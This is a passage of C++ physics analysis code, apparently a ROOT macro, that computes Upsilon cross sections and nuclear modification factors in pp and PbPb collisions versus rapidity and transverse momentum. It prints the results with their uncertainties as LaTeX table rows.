N1S_aa_rap4_2014e[i] , Aet_1S_pyquen_rap42014e[i]); \n // CS1S_aa_tnp_rap42014s[i]=N1S_aa_rap4_2014[i]*N1S_aa_rap4s[i];\n CS1S_aa_tnp_rap42014s[i] =N1S_aa_rap4_2014[i]*syst1S_csaa_rap4[i];\n \n \n CS1S_pp_tnp_rap42014[i]=CS1S_pp_tnp_rap42014[i]/L_pp_invNb;\n CS1S_aa_tnp_rap42014[i]=CS1S_aa_tnp_rap42014[i]/(N_MB_corr * T_AA_b);\n CS1S_pp_tnp_rap42014e[i]=CS1S_pp_tnp_rap42014e[i]/L_pp_invNb;\n CS1S_aa_tnp_rap42014e[i]=CS1S_aa_tnp_rap42014e[i]/(N_MB_corr * T_AA_b);\n CS1S_pp_tnp_rap42014[i]=CS1S_pp_tnp_rap42014[i]/(deltaRapEven[i]);\n CS1S_aa_tnp_rap42014[i]=CS1S_aa_tnp_rap42014[i]/deltaRapEven[i];\n CS1S_pp_tnp_rap42014e[i]=CS1S_pp_tnp_rap42014e[i]/(deltaRapEven[i]);\n CS1S_aa_tnp_rap42014e[i]=CS1S_aa_tnp_rap42014e[i]/deltaRapEven[i];\n CS1S_pp_tnp_rap42014s[i] = CS1S_pp_tnp_rap42014s[i]/(L_pp_invNb*deltaRapEven[i]); \n CS1S_aa_tnp_rap42014s[i] = CS1S_aa_tnp_rap42014s[i]/(N_MB_corr * T_AA_b *deltaRapEven[i]); \n\n //2S\n CS2S_pp_tnp_rap2014[i] = computeRatio( N2S_pp_rap4_2014[i] , Aet_2S_pythia_rap2014[i] ); \n CS2S_pp_tnp_rap2014e[i]= computeRatioError( N2S_pp_rap4_2014[i] , Aet_2S_pythia_rap2014[i] , N2S_pp_rap4_2014e[i] , 0 );\n CS2S_pp_tnp_rap2014[i] = CS2S_pp_tnp_rap2014[i]/(deltaRapEven[i] * L_pp_invNb);\n CS2S_pp_tnp_rap2014e[i]= CS2S_pp_tnp_rap2014e[i]/(deltaRapEven[i] * L_pp_invNb);\n CS2S_pp_tnp_rap2014s[i]= N2S_pp_rap4_2014[i]*syst2S_cspp_rap[i] / Aet_2S_pythia_rap2014[i] ;\n CS2S_pp_tnp_rap2014s[i]= CS2S_pp_tnp_rap2014s[i]/(deltaRapEven[i] * L_pp_invNb);\n //3S\n CS3S_pp_tnp_rap2014[i]= computeRatio( N3S_pp_rap4_2014[i] , Aet_3S_pythia_rap2014[i] ); \n CS3S_pp_tnp_rap2014e[i]= computeRatioError( N3S_pp_rap4_2014[i] , Aet_3S_pythia_rap2014[i] , N3S_pp_rap4_2014e[i] , 0 );\n CS3S_pp_tnp_rap2014[i]= CS3S_pp_tnp_rap2014[i]/L_pp_invNb;\n CS3S_pp_tnp_rap2014[i]= CS3S_pp_tnp_rap2014[i]/(deltaRapEven[i]);\n CS3S_pp_tnp_rap2014e[i]= CS3S_pp_tnp_rap2014e[i]/L_pp_invNb;\n CS3S_pp_tnp_rap2014e[i]= CS3S_pp_tnp_rap2014e[i]/(deltaRapEven[i]);\n CS3S_pp_tnp_rap2014s[i]= N3S_pp_rap4_2014[i]*syst3S_cspp_rap[i] / Aet_3S_pythia_rap2014[i];\n CS3S_pp_tnp_rap2014s[i]= CS3S_pp_tnp_rap2014s[i]/(deltaRapEven[i] * L_pp_invNb);\n //RAAAA and other ratios!\n RAA_1S_rap[i]= computeRatio( CS1S_aa_rap[i] , CS1S_pp_rap2014[i]);\n RAA_1S_rape[i]= computeRatioError( CS1S_aa_rap[i] , CS1S_pp_rap2014[i], CS1S_aa_rape[i] , CS1S_pp_rap2014e[i]);\n //tag and probe just after\n RAA_1S_tnp_rap[i]= computeRatio( CS1S_aa_tnp_rap2014[i] , CS1S_pp_tnp_rap2014[i]);\n RAA_1S_tnp_rape[i]= computeRatioError( CS1S_aa_tnp_rap2014[i] , CS1S_pp_tnp_rap2014[i], CS1S_aa_tnp_rap2014e[i] ,0 );// CS1S_pp_tnp_rap2014e[i]\n RAA_1S_tnp_raps[i]= RAA_1S_tnp_rap[i]*syst1S_raa_pointRap[i];//computeRatioError( CS1S_aa_tnp_rap2014[i] , CS1S_pp_tnp_rap2014[i], CS1S_aa_tnp_rap2014s[i] , CS1S_pp_tnp_rap2014s[i]);\n RAA_1S_tnp_rapsT[i]= RAA_1S_tnp_rap[i]*syst1S_raa_rap[i];\n //1S_pt4\n RAA_1S_tnp_rap4[i]= computeRatio( CS1S_aa_tnp_rap42014[i] , CS1S_pp_tnp_rap42014[i]);\n RAA_1S_tnp_rap4e[i]= computeRatioError( CS1S_aa_tnp_rap42014[i] , CS1S_pp_tnp_rap42014[i], CS1S_aa_tnp_rap42014e[i] ,0); // CS1S_pp_tnp_rap42014e[i]\n RAA_1S_tnp_rap4s[i]= RAA_1S_tnp_rap4[i]*syst1S_raa_pointRap4[i];//computeRatioError( CS1S_aa_tnp_rap2014[i] , CS1S_pp_tnp_rap2014[i], CS1S_aa_tnp_rap2014s[i] , CS1S_pp_tnp_rap2014s[i]);\n RAA_1S_tnp_rap4sT[i]= RAA_1S_tnp_rap4[i]*syst1S_raa_rap4[i];\n //\n R_A_1S_rap[i]=computeRatio(A_1S_pythia_rap3p5[i],A_1S_pyquen_rap2014[i]);\n R_A_1S_rape[i]=computeRatioError(A_1S_pythia_rap3p5[i],A_1S_pyquen_rap2014[i],A_1S_pythia_rap3p5e[i],A_1S_pyquen_rap2014e[i]);\n R_e_1S_rap[i]=computeRatio(e_1S_pythia_rap3p5[i],e_1S_pyquen_rap2014[i]);\n R_e_1S_rape[i]=computeRatioError(e_1S_pythia_rap3p5[i],e_1S_pyquen_rap2014[i],e_1S_pythia_rap3p5e[i],e_1S_pyquen_rap2014e[i]);\n \n }\n\n\nstd::cout << \" --- 1S Cross section in pp vs. y ---\" << endl;\n for(int j =0 ; j<nRapBins_2014 ; j++)\n {\n //cs, staterr, systerr(muId), systerr(sta), systerr(aeff+fit\n std::cout <<\"j= \"<< (binsRap[j]).c_str() << \" & \" << setprecision(3) << \n CS1S_pp_tnp_rap2014[j] <<\" \\\\pm \"<<\n CS1S_pp_tnp_rap2014e[j]/CS1S_pp_tnp_rap2014[j] <<\" \\\\pm \"<<\n syst1S_pp_rap[j] <<\" \\\\pm \" << \n (t_1S_pythia_rap3p5_muIDTrige[j]/t_1S_pythia_rap3p5_muIDTrig[j]) <<\" \\\\pm \"<< //muid\n (t_1S_pythia_rap3p5_STAe[j]/t_1S_pythia_rap3p5_muIDTrig[j]) <<\" \\\\pm \"<< //sta\n (sqrt(pow(Aet_1S_pythia_rap2014_STAe[j]/Aet_1S_pythia_rap2014_STA[j],2)+(0.2/5.4)*(0.2/5.4))) <<\" & \" << endl; //genshape+ppfits+L_pp\n// CS1S_pp_tnp_rap2014[j]*\n// CS1S_pp_tnp_rap2014[j]*\n// CS1S_pp_tnp_rap2014[j]*\n }\n\nstd::cout << \" --- 1S Cross section in pp vs. pt ---\" << endl;\n for(int j =0 ; j<nPtBins_2013 ; j++)\n {\n // std::cout <<\"j= \"<< (binsPt[j]).c_str() << \" & \" << CS1S_pp_tnp_pt[j] <<\"\\\\pm \"<<CS1S_pp_tnp_pte[j] <<\" \\\\pm \"<<CS1S_pp_tnp_pts[j]<<\" \\\\\" << endl;\n std::cout <<\"j= \"<< (binsPt[j]).c_str() << \" & \" << setprecision(3) << \n CS1S_pp_tnp_pt[j] <<\" \\\\pm \"<<\n CS1S_pp_tnp_pte[j]/CS1S_pp_tnp_pt[j] <<\" \\\\pm \"<<\n syst1S_pp_pt[j] <<\" \\\\pm \"<<\n (t_1S_pythia_pt3p5_muIDTrige[j]/t_1S_pythia_pt3p5_muIDTrig[j]) <<\" \\\\pm \"<<\n (t_1S_pythia_pt3p5_STAe[j]/t_1S_pythia_pt3p5_muIDTrig[j]) <<\" \\\\pm \"<<\n (sqrt(pow(Aet_1S_pythia_pt_STAe[j]/Aet_1S_pythia_pt_STA[j],2)+(0.2/5.4)*(0.2/5.4))) <<\" & \" << endl;\n\n // CS1S_pp_tnp_pt[j]*\n // CS1S_pp_tnp_pt[j]*\n // CS1S_pp_tnp_pt[j]*\n\n }\n\nstd::cout << \" --- 1S Cross section in PbPb vs. y ---\" << endl;\n for(int j =0 ; j<nRapBins_2014 ; j++)\n {\n // std::cout <<\"j= \"<< (binsRap[j]).c_str() << \" & \" << CS1S_aa_tnp_rap2014[j] <<\" \\\\pm \"<<CS1S_aa_tnp_rap2014e[j] <<\" \\\\pm \"<<CS1S_aa_tnp_rap2014s[j]<<\" \\\\\" << endl;\n std::cout <<\"j= \"<< (binsRap[j]).c_str() << \" & \" << setprecision(3) << \n CS1S_aa_tnp_rap2014[j] <<\" \\\\pm \"<<\n CS1S_aa_tnp_rap2014e[j]/CS1S_aa_tnp_rap2014[j] <<\" \\\\pm \"<<\n syst1S_aa_rap[j] <<\" \\\\pm \"<<\n (t_1S_pyquen_rap3p5_muIDTrige[j]/t_1S_pyquen_rap3p5_muIDTrig[j]) <<\" \\\\pm \"<<\n (t_1S_pyquen_rap3p5_STAe[j]/t_1S_pyquen_rap3p5_muIDTrig[j]) <<\" \\\\pm \"<<\n (sqrt(pow(Aet_1S_pyquen_rap2014e[j]/Aet_1S_pyquen_rap2014[j],2)+(0.062*0.062))) <<\" & \" << endl;\n // CS1S_aa_tnp_rap2014[j]*\n // CS1S_aa_tnp_rap2014[j]*\n // CS1S_aa_tnp_rap2014[j]*\n }\n\nstd::cout << \" --- 1S Cross section in PbPb vs. pt ---\" << endl;\n for(int j =0 ; j<nPtBins_2013 ; j++)\n {\n // std::cout <<\"j= \"<< (binsPt[j]).c_str() << \" & \"<< CS1S_aa_tnp_pt[j] <<\" \\\\pm \"<<CS1S_aa_tnp_pte[j] <<\" \\\\pm \"<<CS1S_aa_tnp_pts[j] <<\" \\\\\" << endl;\n std::cout <<\"j= \"<< (binsPt[j]).c_str() << \" & \" << setprecision(3) << \n CS1S_aa_tnp_pt[j] <<\" \\\\pm \"<<\n CS1S_aa_tnp_pte[j]/CS1S_aa_tnp_pt[j] <<\" \\\\pm \"<<\n syst1S_aa_pt[j] <<\" \\\\pm \"<<\n (t_1S_pyquen_pt3p5_muIDTrige[j]/t_1S_pyquen_pt3p5_muIDTrig[j]) <<\" \\\\pm \"<<\n (t_1S_pyquen_pt3p5_STAe[j]/t_1S_pyquen_pt3p5_muIDTrig[j]) <<\" \\\\pm \"<<\n (sqrt(pow(Aet_1S_pyquen_pt_STAe[j]/Aet_1S_pyquen_pt_STA[j],2)+(0.062*0.062))) <<\" & \" << endl;\n// CS1S_aa_tnp_pt[j]*\n// CS1S_aa_tnp_pt[j]*\n// CS1S_aa_tnp_pt[j]*\n }\n\ncout << \" --- 1S RAA vs. p_{T} ---\" << endl;\n for(int j =0 ; j<nPtBins_2013 ; j++)\n {\n /// cout <<\"j= \"<< (binsPt[j]).c_str() << \" & \"<< RAA_1S_tnp_pt[j] <<\" \\\\pm \"<< RAA_1S_tnp_pte[j] <<\" \\\\pm \"<< RAA_1S_tnp_ptsT[j]<< endl;\n }\n\ncout << \" --- 1S RAA vs. y ---\" << endl;\n for(int j =0 ; j<nRapBins_2014 ; j++)\n {\n /// cout <<\"j= \"<< (binsRap[j]).c_str() << \" & \"<< RAA_1S_tnp_rap[j] <<\" \\\\pm \"<< RAA_1S_tnp_rape[j]<<\" \\\\pm \"<< RAA_1S_tnp_rapsT[j]<< endl;\n }\ncout << \" --- 1S pt4 RAA vs. p_{T} ---\" << endl;\n for(int j =0 ; j<nPtBins_2013 ; j++)\n {\n /// cout <<\"j= \"<< (binsPt[j]).c_str() << \" & \"<< RAA_1S_tnp_pt4[j] <<\" \\\\pm \"<< RAA_1S_tnp_pt4e[j] <<\" \\\\pm \"<< RAA_1S_tnp_pt4sT[j]<< endl;\n }\n\ncout << \" --- 1S pt4 RAA vs. y ---\" << endl;\n for(int j =0 ; j<nRapBins_2014 ; j++)\n {\n /// cout <<\"j= \"<< (binsRap[j]).c_str() << \" & \"<< RAA_1S_tnp_rap4[j] <<\" \\\\pm \"<< RAA_1S_tnp_rap4e[j]<<\" \\\\pm \"<< RAA_1S_tnp_rap4sT[j]<< endl;\n }\n\n for(int i=0 ; i<nRapBins_2010; i++)\n {\n //significance, non-believers!\n SigOverErr_aaRap2S4[i]=computeRatio(N2S_aa_rap4_2014Large[i],N2S_aa_rap4_2014Largee[i]);\n SigOverErr_aaRap2S3p5[i]=computeRatio(N2S_aa_rap3p5[i],N2S_aa_rap3p5e[i]);\n // CS2S_pp_rap[i]= computeRatio( N2S_pp_rap3p5[i] , Ae_2S_pythia_rap[i] ); \n // CS2S_pp_rap[i]= computeRatio( N2S_pp_rap4_2014Large[i] , Ae_2S_pythia_rap2010[i] ); \n // CS2S_aa_rap[i]= computeRatio( N2S_aa_rap4_2014Large[i] , Ae_2S_pyquen_rap[i] );\n //plot tnp\n CS2S_pp_tnp_rap[i]= computeRatio( N2S_pp_rap4_2014Large[i] , Aet_2S_pythia_rap2014Large[i] ); //these are up to date.\n CS2S_aa_tnp_rap[i]= computeRatio( N2S_aa_rap4_2014Large[i] , Aet_2S_pyquen_rap2014Large[i] ); //these are up to date.\n CS2S_aa_tnp_raps[i]= N2S_aa_rap4_2014Large[i]*syst2S_csaa_rap[i] /Aet_2S_pythia_rap2014Large[i] ;\n CS2S_pp_tnp_raps[i]= N2S_pp_rap4_2014Large[i]*syst2S_cspp_rapLarge[i]/Aet_2S_pyquen_rap2014Large[i] ;\n //\n // CS2S_pp_rape[i] = computeRatioError( N2S_pp_rap4_2014Large[i] , Ae_2S_pythia_rap2010[i] , N2S_pp_rap4_2014Largee[i] , Ae_2S_pythia_rap2010e[i] );\n // CS2S_aa_rape[i] = computeRatioError( N2S_aa_rap4_2014Large[i] , Ae_2S_pyquen_rap[i] , N2S_aa_rap4_2014Largee[i] , Ae_2S_pyquen_rape[i]);\n //tnp\n CS2S_pp_tnp_rape[i] = computeRatioError( N2S_pp_rap4_2014Large[i] , Aet_2S_pythia_rap2014Large[i] , N2S_pp_rap4_2014Largee[i] , 0);\n CS2S_aa_tnp_rape[i] = computeRatioError( N2S_aa_rap4_2014Large[i] , Aet_2S_pyquen_rap2014Large[i] , N2S_aa_rap4_2014Largee[i] , 0);\n CS2S_pp_tnp_rap[i]=CS2S_pp_tnp_rap[i]/(L_pp_invNb*deltaRap2010[i]);\n CS2S_aa_tnp_rap[i]=CS2S_aa_tnp_rap[i]/(N_MB_corr * T_AA_b * deltaRap2010[i]);\n CS2S_pp_tnp_rape[i]=CS2S_pp_tnp_rape[i]/(L_pp_invNb*deltaRap2010[i]);\n CS2S_aa_tnp_rape[i]=CS2S_aa_tnp_rape[i]/(N_MB_corr * T_AA_b * deltaRap2010[i]);\n CS2S_aa_tnp_raps[i]=CS2S_aa_tnp_raps[i]/(N_MB_corr * T_AA_b * deltaRap2010[i]);\n CS2S_pp_tnp_raps[i]=CS2S_pp_tnp_raps[i]/((L_pp_invNb*deltaRap2010[i]));\n RAA_2S_rap[i]= computeRatio( CS2S_aa_tnp_rap[i] , CS2S_pp_tnp_rap[i]);\n RAA_2S_rape[i]= computeRatioError( CS2S_aa_tnp_rap[i] , CS2S_pp_tnp_rap[i], CS2S_aa_tnp_rape[i] , CS2S_pp_tnp_rape[i]);\n RAA_2S_tnp_rap[i]=RAA_2S_rap[i];\n RAA_2S_tnp_rape[i]=RAA_2S_rape[i];\n RAA_2S_tnp_raps[i]=RAA_2S_tnp_rap[i]*syst2S_raa_pointRap[i]; //computeRatioError( CS2S_aa_tnp_rap[i] , CS2S_pp_tnp_rap[i], CS2S_aa_tnp_raps[i] , CS2S_pp_tnp_raps[i]);\n RAA_2S_tnp_rapsT[i]=RAA_2S_tnp_rap[i]*syst2S_raa_rap[i];\n //keeping it just in case i need to copy to compare with tnp in large bins as well.\n // CS2S_pp_rap[i]= computeRatio( N2S_pp_rap4_2014Large[i] , Ae_2S_pythia_rap2010[i] ); \n // CS2S_aa_rap[i]= computeRatio( N2S_aa_rap4_2014Large[i] , Ae_2S_pyquen_rap[i] );\n // CS2S_pp_rape[i] = computeRatioError( N2S_pp_rap4_2014Large[i] , Ae_2S_pythia_rap2010[i] , N2S_pp_rap4_2014Largee[i] , Ae_2S_pythia_rap2010e[i] );\n // CS2S_aa_rape[i] = computeRatioError( N2S_aa_rap4_2014Large[i] , Ae_2S_pyquen_rap[i] , N2S_aa_rap4_2014Largee[i] , Ae_2S_pyquen_rape[i]);\n // CS2S_pp_rap[i]=CS2S_pp_rap[i]/(L_pp_invNb*deltaRap2010[i]);\n // CS2S_aa_rap[i]=CS2S_aa_rap[i]/(N_MB_corr * T_AA_b * deltaRap2010[i]);\n // CS2S_pp_rape[i]=CS2S_pp_rape[i]/(L_pp_invNb*deltaRap2010[i]);\n // CS2S_aa_rape[i]=CS2S_aa_rape[i]/(N_MB_corr * T_AA_b * deltaRap2010[i]);\n }\n \n for(int i = 0 ; i<nPtBins_2010 ; i++)\n {\n //significance, shitty non-believers\n SigOverErr_aaPt2S4[i]=computeRatio(N2S_aa_pt4_2013Large[i],N2S_aa_pt4_2013Largee[i]);\n SigOverErr_aaPt2S3p5[i]=computeRatio(N2S_aa_pt3p5[i],N2S_aa_pt3p5e[i]);\n CS1S_pp_ptLarge[i]=computeRatio(N1S_pp_pt3p5Large[i], Aet_1S_pythia_ptLarge[i]);\n CS1S_pp_pteLarge[i]=computeRatioError(N1S_pp_pt3p5Large[i], Aet_1S_pythia_ptLargee[i],N1S_pp_pt3p5Largee[i], Aet_1S_pythia_ptLargee[i]);\n CS1S_aa_ptLarge[i]=computeRatio(N1S_aa_pt3p5Large[i],Aet_1S_pyquen_ptLarge[i]);\n CS1S_aa_pteLarge[i]=computeRatioError(N1S_aa_pt3p5Large[i],Aet_1S_pyquen_ptLarge[i],N1S_aa_pt3p5eLarge[i],Aet_1S_pyquen_ptLargee[i]);\n // CS1S_pp_ptLarge[i]=computeRatio(N1S_pp_pt3p5Large[i],N1S_aa_pt3p5Large[i]);\n CS1S_pp_ptLarge[i]=CS1S_pp_ptLarge[i]/(RapBinWidth*L_pp_invNb*deltaPt_2010[i]);\n CS1S_aa_ptLarge[i]=CS1S_aa_ptLarge[i]/(RapBinWidth*N_MB_corr*T_AA_b*deltaPt_2010[i]);\n CS1S_pp_pteLarge[i]=CS1S_pp_pteLarge[i]/(RapBinWidth*L_pp_invNb*deltaPt_2010[i]);\n CS1S_aa_pteLarge[i]=CS1S_aa_pteLarge[i]/(RapBinWidth*N_MB_corr*T_AA_b*deltaPt_2010[i]);\n\n //2S yields\n CS2S_pp_pt[i]= computeRatio( N2S_pp_pt4_2013Large[i] , Aet_2S_pythia_pt2013Large[i] ); // large bins !\n CS2S_aa_pt[i]= computeRatio( N2S_aa_pt4_2013Large[i] , Aet_2S_pyquen_pt2013Large[i] );\n CS2S_pp_pte[i]= computeRatioError( N2S_pp_pt4_2013Large[i] , Aet_2S_pythia_pt2013Large[i],N2S_pp_pt4_2013Largee[i], 0);\n CS2S_aa_pte[i]= computeRatioError( N2S_aa_pt4_2013Large[i] , Aet_2S_pyquen_pt2013Large[i] , N2S_aa_pt4_2013Largee[i] ,0 );\n CS2S_pp_pts[i]= N2S_pp_pt4_2013Large[i]*syst2S_cspp_ptLarge[i] / Aet_2S_pythia_pt2013Large[i] ;\n CS2S_aa_pts[i]=N2S_aa_pt4_2013Large[i]*syst2S_csaa_pt[i] / Aet_2S_pyquen_pt2013Large[i];\n // here, changed a few things.from 4 to 3p5.\n CS2S_aa_pts[i]= CS2S_aa_pts[i]/(N_MB_corr * T_AA_b*RapBinWidth);\n CS2S_pp_pt[i]=CS2S_pp_pt[i]/(RapBinWidth*L_pp_invNb*deltaPt_2010[i]);\n CS2S_pp_pts[i]=CS2S_pp_pts[i]/(RapBinWidth*L_pp_invNb*deltaPt_2010[i]);\n CS2S_aa_pt[i]=CS2S_aa_pt[i]/(N_MB_corr * T_AA_b*RapBinWidth*deltaPt_2010[i]);\n CS2S_pp_pte[i]=CS2S_pp_pte[i]/(RapBinWidth*L_pp_invNb*deltaPt_2010[i]);\n CS2S_aa_pte[i]=CS2S_aa_pte[i]/(N_MB_corr * T_AA_b * RapBinWidth * deltaPt_2010[i]);\n // cout<<\"cs1S (ppPt, ppRap, aaPt, aaRap)\"<< CS2S_pp_pt[i] <<\", \" <<CS2S_pp_rap[i] <<\", \" <<CS2S_aa_pt[i] <<\", \" <<CS2S_aa_rap[i] <<\". \" << endl;\n // cout <<\"sigma(2S)_pp vs Pt =\"<< endl;\n //invariant yields, corrected by taa and lumi corr.\n RAA_1S_ptLarge[i]=computeRatio(CS1S_aa_ptLarge[i],CS1S_pp_ptLarge[i]); \n RAA_1S_pteLarge[i]=computeRatioError(CS1S_aa_ptLarge[i],CS1S_pp_ptLarge[i],CS1S_aa_pteLarge[i],CS1S_pp_pteLarge[i]); \n RAA_2S_pt[i]= computeRatio( CS2S_aa_pt[i] , CS2S_pp_pt[i]);\n RAA_2S_pte[i] =computeRatioError( CS2S_aa_pt[i] , CS2S_pp_pt[i], CS2S_aa_pte[i] , CS2S_pp_pte[i]);\n RAA_2S_tnp_pt[i]=RAA_2S_pt[i];\n RAA_2S_tnp_pte[i]=RAA_2S_pte[i];\n RAA_2S_tnp_pts[i]=RAA_2S_pt[i]*syst2S_raa_pointPt[i];//computeRatioError( CS2S_aa_pt[i] , CS2S_pp_pt[i], CS2S_aa_pts[i] , CS2S_pp_pts[i]);\n RAA_2S_tnp_ptsT[i]=RAA_2S_pt[i]*syst2S_raa_pt[i];//computeRatioError( CS2S_aa_pt[i] , CS2S_pp_pt[i], CS2S_aa_pts[i] , CS2S_pp_pts[i]);\n }\n\n\n std::cout << \" --- 2S Cross section in pp vs. pt in large bins---\" << endl;\n for(int j =0 ; j<nPtBins_2010 ; j++)\n {\n //// cout <<\"j=\"<< j << \"' ,sigma(2S)_pp = \"<< CS2S_pp_pt[j] <<\" \\\\pm \"<<CS2S_pp_pte[j] <<\" \\\\pm \" <<CS2S_pp_pts[j] <<\" \\\\\" << endl;\n std::cout <<\"j= \"<< (binsPt2010[j]).c_str() << \" & \" << setprecision(3) << \n CS2S_pp_pt[j] <<\" \\\\pm \"<<\n CS2S_pp_pte[j]/CS2S_pp_pt[j] <<\" \\\\pm \"<<\n syst2S_pp_ptLarge[j] <<\" \\\\pm \"<<\n (Aet_2S_pythia_pt2013Large_muIDTrige[j]/Aet_2S_pythia_pt2013Large[j]) <<\" \\\\pm \"<<\n (Aet_2S_pythia_pt2013Large_STAe[j]/Aet_2S_pythia_pt2013Large[j]) <<\" \\\\pm \"<<\n (sqrt(pow(Aet_2S_pythia_pt2013Largee[j]/Aet_2S_pythia_pt2013Large[j],2)+(0.2/5.4)*(0.2/5.4))) <<\" & \" <<\n endl;\n\n // CS2S_pp_pt[j]*\n // CS2S_pp_pt[j]*\n // CS2S_pp_pt[j]*\n }\n\n std::cout << \" --- 2S Cross section in pp vs. y in large bins---\" << endl;\n for(int j =0 ; j<nRapBins_2010 ; j++)\n {\n /// cout <<\"j=\"<< j << \"' ,sigma(2S)_pp = \"<< CS2S_pp_tnp_rap[j] <<\" \\\\pm \"<<CS2S_pp_tnp_rape[j]<<\" \\\\pm \"<<CS2S_pp_tnp_raps[j]<<\" \\\\\" << endl;\n std::cout <<\"j= \"<< (binsRap2010[j]).c_str() << \" & \" << setprecision(3) << \n CS2S_pp_tnp_rap[j] <<\" \\\\pm \"<<\n CS2S_pp_tnp_rape[j]/CS2S_pp_tnp_rap[j] <<\" \\\\pm \"<<\n syst2S_pp_ptLarge[j]<<\" \\\\pm \"<<\n (Aet_2S_pythia_rap2014_muIDTrige[j]/Aet_2S_pythia_rap2014[j]) <<\" \\\\pm \"<<\n (Aet_2S_pythia_rap2014_STAe[j]/Aet_2S_pythia_rap2014[j]) <<\" \\\\pm \"<<\n (sqrt(pow(Aet_2S_pythia_rap2014e[j]/Aet_2S_pythia_rap2014[j],2)+(0.2/5.4)*(0.2/5.4))) <<\" & \" << endl;\n\n\n // CS2S_pp_tnp_rap[j]*\n // CS2S_pp_tnp_rap[j]*\n // CS2S_pp_tnp_rap[j]*\n }\n\n\nstd::cout << \" --- 2S Cross section in PbPb vs. y ---\" << endl;\n for(int j =0 ; j<nRapBins_2010 ; j++)\n {\n // std::cout <<\"j=\"<< j << \"' ,sigma(2S)_PbPb = \"<< CS2S_aa_tnp_rap[j] <<\" \\\\pm \"<<CS2S_aa_tnp_rape[j] << \" \\\\pm \"<<CS2S_aa_tnp_raps[j]<<\" \\\\\" << endl;\n std::cout <<\"j= \"<< (binsRap2010[j]).c_str() << \" & \" << setprecision(3) <<\n CS2S_aa_tnp_rap[j] <<\" \\\\pm \"<<\n CS2S_aa_tnp_rape[j]/CS2S_aa_tnp_rap[j] <<\" \\\\pm \"<<\n syst2S_aa_rap[j] <<\" \\\\pm \"<<\n (Aet_2S_pyquen_rap2014Large_muIDTrige[j]/Aet_2S_pyquen_rap2014Large[j]) <<\" \\\\pm \"<< //muid\n (Aet_2S_pyquen_rap2014Large_STAe[j]/Aet_2S_pyquen_rap2014Large[j]) <<\" \\\\pm \"<< ///sta\n (sqrt(pow(Aet_2S_pyquen_rap2014Largee[j]/Aet_2S_pyquen_rap2014Large[j],2)+(0.062*0.062))) <<\" & \" <<\n endl;\n // CS2S_aa_tnp_rap[j]*\n // CS2S_aa_tnp_rap[j]*\n // CS2S_aa_tnp_rap[j]*\n }\n\nstd::cout << \" --- 2S Cross section in PbPb vs. pt ---\" << endl;\n for(int j =0 ; j<nPtBins_2010 ; j++)\n {\n // std::cout <<\"j=\"<< j << \"' ,sigma(2S)_PbPb = \"<< CS2S_aa_pt[j] <<\" \\\\pm \"<<CS2S_aa_pte[j]<< \" \\\\pm \"<<CS2S_aa_pts[j]<< \" \\\\\" << endl;\n std::cout <<\"j= \"<< (binsPt2010[j]).c_str() << \" & \" << setprecision(3) << CS2S_aa_pt[j] <<\" \\\\pm \"<<\n CS2S_aa_pte[j]/CS2S_aa_pt[j] <<\" \\\\pm \"<<\n syst2S_aa_pt[j] <<\" \\\\pm \"<<\n (Aet_2S_pyquen_pt2013Large_muIDTrige[j]/Aet_2S_pyquen_pt2013Large[j]) <<\" \\\\pm \"<<\n (Aet_2S_pyquen_pt2013Large_STAe[j]/Aet_2S_pyquen_pt2013Large[j]) <<\" \\\\pm \"<<\n (sqrt(pow(Aet_2S_pyquen_pt2013Largee[j]/Aet_2S_pyquen_pt2013Large[j],2)+(0.062*0.062))) <<\" & \" <<\n endl;\n// CS2S_aa_pt[j]*\n// CS2S_aa_pt[j]*\n// CS2S_aa_pt[j]*\n }\n\n //std::cout << \" --- 1S RAA vs. p_{T} in LARGE BINS---\" << endl;\n for(int j =0 ; j<nPtBins_2010 ; j++)\n {\n /// cout <<\"j=\"<< j << \"' , Raa = \"<< RAA_1S_ptLarge[j] <<\" \\\\pm \"<< RAA_1S_pteLarge[j]<< endl;\n }\n\n //std::cout << \" --- 2S RAA vs. p_{T} ---\" << endl;\n for(int j =0 ; j<nPtBins_2010 ; j++)\n {\n /// cout <<\"j=\"<< j << \"' , Raa = \"<< RAA_2S_pt[j] <<\" \\\\pm \"<< RAA_2S_pte[j]<<\" \\\\pm \"<< RAA_2S_tnp_pts[j]<< endl;\n }\n\n //std::cout << \" --- 2S RAA vs. y ---\" << endl;\n for(int j =0 ; j<nRapBins_2010 ; j++)\n {\n /// cout <<\"j=\"<< j << \"' , Raa = \"<< RAA_2S_rap[j] <<\" \\\\pm \"<< RAA_2S_rape[j]<< \" \\\\pm \"<< RAA_2S_tnp_raps[j]<< endl;\n }\n\n //for the cross sections in pp : shorter bins\n\n\n std::cout << \" --- 2S Cross section in pp vs. pt short bins---\" << endl;\n for(int j =0 ; j<nPtBins_2013 ; j++)\n {\n // std::cout <<\"j= \"<< (binsPt[j]).c_str() << \" & \" << CS2S_pp_tnp_pt2013[j] <<\" \\\\pm \"<<CS2S_pp_tnp_pt2013e[j]<<\" \\\\pm \"<<CS2S_pp_tnp_pts[j]<<\" &\" << endl;\n std::cout <<\"j= \"<< (binsPt[j]).c_str() << \" & \" << setprecision(3) << CS2S_pp_tnp_pt2013[j] <<\" \\\\pm \"<<\n CS2S_pp_tnp_pt2013e[j]/CS2S_pp_tnp_pt2013[j] <<\" \\\\pm \"<<\n syst2S_pp_pt[j] <<\" \\\\pm \"<<\n (Aet_2S_pythia_pt2013_muIDTrige[j]/Aet_2S_pythia_pt2013[j]) <<\" \\\\pm \"<<\n (Aet_2S_pythia_pt2013_STAe[j]/Aet_2S_pythia_pt2013[j]) <<\" \\\\pm \"<<\n (sqrt(pow(Aet_2S_pythia_pt2013e[j]/Aet_2S_pythia_pt2013[j],2)+(0.2/5.4)*(0.2/5.4))) <<\" & \" <<\n endl;\n// CS2S_pp_tnp_pt2013[j]*\n// CS2S_pp_tnp_pt2013[j]*\n// CS2S_pp_tnp_pt2013[j]*\n\n }\n\nstd::cout << \" --- 2S Cross section in pp vs. y short bins---\" << endl;\n for(int j =0 ; j<nRapBins_2014 ; j++)\n {\n // std::cout <<\"j= \"<< (binsRap[j]).c_str() << \" & \" << CS2S_pp_tnp_rap2014[j] <<\" \\\\pm \"<<CS2S_pp_tnp_rap2014e[j]<<\" \\\\pm \"<<CS2S_pp_tnp_rap2014s[j]<<\" &\" << endl;\n std::cout <<\"j= \"<< (binsRap[j]).c_str() << \" & \" << setprecision(3) << CS2S_pp_tnp_rap2014[j] <<\" \\\\pm \"<<\n CS2S_pp_tnp_rap2014e[j]/CS2S_pp_tnp_rap2014[j] <<\" \\\\pm \"<<\n syst2S_pp_rap[j] <<\" \\\\pm \"<<\n 